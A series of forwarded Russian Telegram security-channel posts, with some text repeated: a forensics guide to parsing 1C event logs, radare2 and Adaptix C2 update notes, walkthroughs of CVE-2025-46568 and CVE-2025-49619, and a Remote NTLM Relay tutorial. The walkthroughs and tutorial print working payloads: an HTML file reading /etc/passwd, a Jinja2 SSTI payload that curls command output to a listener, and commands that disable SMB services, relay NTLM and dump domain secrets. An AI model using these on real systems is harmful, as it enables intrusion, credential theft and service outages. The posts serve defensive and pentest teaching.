Forwarded from ESCalator
По следам 1C_Shell. Расследуем атаки с помощью журнала регистрации 🐾
В одном из предыдущих постов мы писали об обнаружении атак на систему «1С», в которых злоумышленники использовали инструмент 1C_shell. Он представляет собой внешнюю обработку, позволяющую запустить произвольный код на сервере «1С:Предприятие».
Подобные атаки интересны тем, что оставляют мало очевидных следов в скомпрометированных системах. В частности, тяжело определить источник атаки, особенно в условиях ротации журналов событий Windows.
Одним из артефактов, которые могут нам помочь в расследовании, является журнал регистрации.
💡 Журнал регистрации — механизм в системе «1С», предназначенный для логирования действия пользователей, в том числе начала и завершения сессий.
Чтобы просмотреть журнал регистрации, перейдем в конфигуратор и на вкладке «Администрирование» выберем соответствующий пункт (скриншот 1).
В журнале, помимо всего прочего, мы можем увидеть события начала и завершения пользовательских сеансов (скриншот 2). Таким образом, зная временной промежуток, в рамках которого происходила вредоносная активность, мы определим подозрительные сессии. В рамках этих сессий злоумышленники могли выполнять команды.
Файлы журнала регистрации в случае клиент-серверного варианта информационной базы по умолчанию хранятся в рабочей папке кластера:
Логи имеют необычный формат и плохо пригодны для ручного анализа. О формате можно почитать в статье «Инфостарт»: описание актуально для «1С:Предприятия» версий 8.1 и 8.2, но с тех пор формат изменился незначительно.
💡 Актуальная структура журнала регистрации описана в Руководстве администратора «1С:Предприятия» — однако доступ к документу ограничен.
Для того чтобы распарсить файлы журнала регистрации, можно воспользоваться встроенной консольной утилитой ibcmd, предназначенной для администрирования сервера «1С». Она входит в комплект, поставляемый при установке «1С:Предприятия», и, начиная с версии 8.3.25, имеет функциональность для обработки файлов журнала регистрации.
Утилита расположена в папке
Документацию утилиты также можно найти в Руководстве администратора.
Для того чтобы распарсить журнал регистрации и на выходе получить файл формата JSONL, можно использовать следующую команду:
Пример выходной строки:
#ir #detect #dfir #malware
@ptescalator
В одном из предыдущих постов мы писали об обнаружении атак на систему «1С», в которых злоумышленники использовали инструмент 1C_shell. Он представляет собой внешнюю обработку, позволяющую запустить произвольный код на сервере «1С:Предприятие».
Подобные атаки интересны тем, что оставляют мало очевидных следов в скомпрометированных системах. В частности, тяжело определить источник атаки, особенно в условиях ротации журналов событий Windows.
Одним из артефактов, которые могут нам помочь в расследовании, является журнал регистрации.
Чтобы просмотреть журнал регистрации, перейдем в конфигуратор и на вкладке «Администрирование» выберем соответствующий пункт (скриншот 1).
В журнале, помимо всего прочего, мы можем увидеть события начала и завершения пользовательских сеансов (скриншот 2). Таким образом, зная временной промежуток, в рамках которого происходила вредоносная активность, мы определим подозрительные сессии. В рамках этих сессий злоумышленники могли выполнять команды.
Файлы журнала регистрации в случае клиент-серверного варианта информационной базы по умолчанию хранятся в рабочей папке кластера:
C:\Program Files\1cv8\srvinfo\reg_****\****\1Cv8Log
Логи имеют необычный формат и плохо пригодны для ручного анализа. О формате можно почитать в статье «Инфостарт»: описание актуально для «1С:Предприятия» версий 8.1 и 8.2, но с тех пор формат изменился незначительно.
💡 Актуальная структура журнала регистрации описана в Руководстве администратора «1С:Предприятия» — однако доступ к документу ограничен.
Для того чтобы распарсить файлы журнала регистрации, можно воспользоваться встроенной консольной утилитой ibcmd, предназначенной для администрирования сервера «1С». Она входит в комплект, поставляемый при установке «1С:Предприятия», и, начиная с версии 8.3.25, имеет функциональность для обработки файлов журнала регистрации.
Утилита расположена в папке
C:\Program Files\1cv8\<version>\bin. Папку можно скопировать и использовать на другом компьютере без необходимости устанавливать систему «1С».Документацию утилиты также можно найти в Руководстве администратора.
Для того чтобы распарсить журнал регистрации и на выходе получить файл формата JSONL, можно использовать следующую команду:
ibcmd.exe eventlog export -f json --skip-root -o C:\<output_path> \output.jsonl C:\<path_to_1Cv8Log>
Пример выходной строки:
{"ApplicationName":"1CV8C","ApplicationPresentation":"Тонкий клиент","Comment":"","Computer":"DESKTOP-QBF9N0A","Connection":"25","Data":null,"DataPresentation":"","Date":"2025-06-02T17:38:31","Event":"_$Session$_.Start","EventPresentation":"Сеанс. Начало","Level":"Information","Metadata":"00000000-0000-0000-0000-000000000000","MetadataPresentation":"<Не определено 00000000-0000-0000-0000-000000000000>","Port":"1560","ServerName":"WIN-UB4CFT0Q9FN","Session":"1","SessionDataSeparation":null,"SessionDataSeparationPresentation":null,"SyncPort":"0","TransactionID":"","TransactionStatus":"NotApplicable","User":"071523a4-516f-4fce-ba4b-0d11ab7a1893","UserName":""}
{"ApplicationName":"1CV8C","ApplicationPresentation":"Тонкий клиент","Comment":"","Computer":"DESKTOP-QBF9N0A","Connection":"0","Data":null,"DataPresentation":"","Date":"2025-06-02T17:38:57","Event":"_$Session$_.Finish","EventPresentation":"Сеанс. Завершение","Level":"Information","Metadata":"00000000-0000-0000-0000-000000000000","MetadataPresentation":"<Не определено 00000000-0000-0000-0000-000000000000>","Port":"0","ServerName":"","Session":"1","SessionDataSeparation":null,"SessionDataSeparationPresentation":null,"SyncPort":"0","TransactionID":"","TransactionStatus":"NotApplicable","User":"071523a4-516f-4fce-ba4b-0d11ab7a1893","UserName":""}
#ir #detect #dfir #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from s0i37_channel
Пару дней назад сделал коммит в radare2 и теперь вот так он может выглядеть сразу из коробки. Инфраструктура для реверс-инжиниринга Radare2 достаточно сложна для новичка, тк сильно завязана на хоткеях и не имеет большого встроенного визуала. Теперь с новыми дефолтными панелями можно комфортно дебажить x86 и x86_64 с декомпиляцией и подсветкой кода, просматривать регистры, переменные, стэк и видеть какие байты читаются/пишутся в памяти. Максимально стилизированно под ollydbg, стандарт в дебагинге.
И раз radare2 это в первую очередь SBA, то такой подход можно применять не только в динамике (отладке), но и в статическом анализе, благодаря встроенному эмулятору ESIL.
И раз radare2 это в первую очередь SBA, то такой подход можно применять не только в динамике (отладке), но и в статическом анализе, благодаря встроенному эмулятору ESIL.
Forwarded from Adaptix Framework
Новое обновление будет больше user-friendly (почти все по запросу пользователей) и многое подготовит для сдедующего апдейта.
Часть того, что будет:
* добавлена еще одна тема, на базе Dracula;
* настройки теперь применяются без перезагрузки клиента;
* консоль агента полностью переработана. Теперь в ней есть поиск и свое меню с настройками. Устранены лаги с цветами и шрифтами
* некоторые заголовки в таблице сессий динамические, можно расширять как угодно
Часть того, что будет:
* добавлена еще одна тема, на базе Dracula;
* настройки теперь применяются без перезагрузки клиента;
* консоль агента полностью переработана. Теперь в ней есть поиск и свое меню с настройками. Устранены лаги с цветами и шрифтами
* некоторые заголовки в таблице сессий динамические, можно расширять как угодно
Forwarded from wr3dmast3r vs pentest
Сегодня в лайв-режиме знакомились с анализом кода на примере SSRF в Stirling-PDF (CVE-2025-46568): чтение локальных файлов через WeasyPrint. Не было особо важно, какая CVE. Главное — потренировать анализ кода 🏃♂️
Stirling-PDF — это веб-приложение для работы с PDF (конвертация, редактирование). В версиях до 0.45.0 обнаружена SSRF-уязвимость, позволяющая атакующему читать локальные файлы на сервере через обработку HTML в WeasyPrint⚠️
Суть уязвимости:
1. Приложение некорректно фильтрует HTML-контент, загруженный по URL;
2. WeasyPrint поддерживает тег <link rel="attachment">, который встраивает локальные файлы (file://) в PDF как скрытые вложения.
Основная ошибка — отсутствие санитизации HTML перед рендерингом:
PoC:
Если Вам интересен анализ кода или Вы хотите познакомиться, присоединяйтесь к Discord и заходите на следующие встречи!🔍
Stirling-PDF — это веб-приложение для работы с PDF (конвертация, редактирование). В версиях до 0.45.0 обнаружена SSRF-уязвимость, позволяющая атакующему читать локальные файлы на сервере через обработку HTML в WeasyPrint
Суть уязвимости:
1. Приложение некорректно фильтрует HTML-контент, загруженный по URL;
2. WeasyPrint поддерживает тег <link rel="attachment">, который встраивает локальные файлы (file://) в PDF как скрытые вложения.
Основная ошибка — отсутствие санитизации HTML перед рендерингом:
// 1. Принимает URL и проверяет только схему http/https
if (!URL.matches("^https?://.*") || !GeneralUtils.isValidURL(URL)) {
throw new IllegalArgumentException("Invalid URL format provided.");
}
// 2. Передаёт URL в WeasyPrint без очистки HTML
List<String> command = new ArrayList<>();
command.add(runtimePathConfig.getWeasyPrintPath());
command.add(URL); // HTML может содержать <link rel="attachment" href="file:///etc/passwd">
command.add("--pdf-forms");
command.add(tempOutputFile.toString());
// 3. WeasyPrint рендерит PDF с вложенными файлами
ProcessExecutor.runCommandWithOutputHandling(command);
PoC:
<!DOCTYPE html>
<html>
<head>
<link rel="attachment" href="file:///etc/passwd">
</head>
<body></body>
</html>
Если Вам интересен анализ кода или Вы хотите познакомиться, присоединяйтесь к Discord и заходите на следующие встречи!
Please open Telegram to view this post
VIEW IN TELEGRAM
www.opennet.ru
Сопровождающий libxml2 отказался от особого отношения к устранению уязвимостей
Ник Велнхофер (Nick Wellnhofer), сопровождающий библиотеку libxml2, объявил, что отныне будет трактовать уязвимости как обычные ошибки. Сообщения об уязвимостях не будут рассматриваться в приоритетном порядке, а станут исправляться по мере появления свободного…
🔗Ссылка:
https://opennet.ru/63437/
https://opennet.ru/63437/
🤨1
Forwarded from wr3dmast3r vs pentest
This media is not supported in your browser
VIEW IN TELEGRAM
Совместно с linuxson продолжаем учиться анализу кода, и сегодня выбор пал на RCE в Skyvern (CVE-2025-49619): выполнение кода в шаблонах Jinja2 через Navigation V2 Block 🤪
Skyvern — фреймворк для автоматизации браузерных workflow. В версиях до 0.1.85 обнаружена критическая уязвимость, позволяющая аутентифицированным пользователям выполнять произвольный код на сервере через инъекцию в шаблоны Jinja2💪
Суть уязвимости:
1. Некорректная обработка шаблонов: поле prompt в блоках (конкретнее — Navigation V2) принимало необработанные Jinja2-выражения;
2. Прямая передача в Jinja2: входные данные рендерились через Template() без sandbox, позволяя получить доступ к globals и builtins.
Уязвимый код:
1. Критичный импорт:
2. Опасный рендеринг (метод format_block_parameter_template_from_workflow_run_context):
Полезная нагрузка Blind SSTI:
Для этой уязвимости существует публичный эксплойт.
Главная цель — перейти от "слепого фаззинга" к осознанному поиску уязвимостей через понимание кода, даже при недостатке базы в программировании🔥
Skyvern — фреймворк для автоматизации браузерных workflow. В версиях до 0.1.85 обнаружена критическая уязвимость, позволяющая аутентифицированным пользователям выполнять произвольный код на сервере через инъекцию в шаблоны Jinja2
Суть уязвимости:
1. Некорректная обработка шаблонов: поле prompt в блоках (конкретнее — Navigation V2) принимало необработанные Jinja2-выражения;
2. Прямая передача в Jinja2: входные данные рендерились через Template() без sandbox, позволяя получить доступ к globals и builtins.
Уязвимый код:
1. Критичный импорт:
from jinja2 import Template
2. Опасный рендеринг (метод format_block_parameter_template_from_workflow_run_context):
template = Template(potential_template)
template.render(context)
Полезная нагрузка Blind SSTI:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl http://0.0.0.0:6666/?os=$(id)').read() }}Для этой уязвимости существует публичный эксплойт.
Главная цель — перейти от "слепого фаззинга" к осознанному поиску уязвимостей через понимание кода, даже при недостатке базы в программировании
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Purple Chronicles (Feyd-Rautha Harkonnen)
Многие слышали об атаках NTLM Relay, но, как и большинство атак, их осуществление возможно при достижении определенных условий.
Зачастую такие атаки осуществляются либо при помощи Responder (в таком случае ключевую роль играет успешность отравления широковещательных запросов, используемых некоторыми протоколами в Windows-сетях), либо используется механизм принудительной аутентификации (A.K.A. Coerce).
В первом случае нам необходим доступ к той же сети, где находится наша "жертва", а во втором мы получим возможность ретранслировать учетную запись компьютера в домене, что тоже не всегда приводит к желаемым результатам.
В чем суть Remote NTLM Relay?
Сегодня мы рассмотрим ещё одну вариацию атаки перенаправления аутентификации NTLM. Хоть она не пользуется большой популярностью в силу особенностей эксплуатации, знать о ней полезно.
Речь идет о Remote NTLM Relay. Эта атака будет работать за счёт принудительной остановки SMB-служб на сервере и его дальнейшего перезапуска, чтобы весь трафик, поступающий на 445 порт сервера, был затем перенаправлен на атакующую машину. Благодаря этому атакующий может перенаправить (зарелэить) входящие сессии туда, куда ему нужно.
Оригинальный пост, посвященный атаке, можно найти здесь, а единственное упоминание до этого исследования можно найти в этом блоге.
Для эксплуатации нам нужно проделать несколько несложных этапов.
Этап 1. Подготовка сервера
Чтобы настроить сервер для дальнейшей эксплуатации, нам нужно отключить SMB-службы и перезапустить его.
Ниже приведены шаги для этого:
1. Отключение NetLogon:
sc stop netlogon
2. Отключение и остановка SMB-сервера (службы LanManServer):
sc stop lanmanserver
sc config lanmanserver start= disabled
3. Полная остановка LanManWorkstation:
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
Эти шаги можно увидеть на первом скриншоте.
После отключения служб нужно перезагрузить машину (
shutdown /r /t 0). Важно именно перезагрузить устройство, а не выключить его.После перезагрузки сервера уже известным способом получаем оболочку на нём (в ходе атаки я использую meterpreter).
Этап 2. Настройка атакующей машины.
На атакующей машине для ретрансляции NTLM используем скрипт ntlmrelayx.py из набора Impacket
10.201.126.30, так как он не требует подписания SMB. Прокси-сервер, используемый в ходе атаки, будет прослушивать на порту 1090, поэтому команда запуска скрипта выглядит следующим образом:proxychains impacket-ntlmrelayx -t smb://10.201.126.30 -smb2support -socks -socks-port 1090
Этап 3. TCP relay через meterpreter.
При помощи полученной на первом этапе оболочки осуществляем перенаправление входящего на порт 445/TCP на стороне сервера трафика на атакующую машину, с которой будет осуществляться релэй (второй скриншот).
portfwd add -R -L 10.51.124.39 -l 445 -p 445
Если все шаги проделаны верно, то мы можем поймать сессию и успешно ретранслировать её (третий скриншот).
Этап 4. Постэксплуатация.
После успешного релэя ntlmrelayx.py будет любезно держать для нас открытую сессию, поэтому, сделав кастомный конфиг для
proxyсhains, мы можем использовать другие Impacket-like утилиты для постэксплуатации.В моём случае пользователь, сессию которого удалось ретранслировать, обладает высокими привилегиями относительно целевой машины, поэтому логично использовать secretsdump.py для получения новых учетных данных для горизонтального перемещения в домене (четвёртый скриншот):
proxychains -f p4-ntlm-relay.conf impacket-secretsdump -no-pass HOLOLIVE/SRV-ADMIN@10.201.126.30
Причина, по которой этот вектор атаки не получил широкого распространения, заключается в его деструктивности: отключение SMB-служб на активно используемом сервере приведёт к DoS и простоям сервера. В реальных условиях такие последствия могут стать серьезной проблемой, поэтому выполнять атаку следует только с явного разрешения заказчика.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM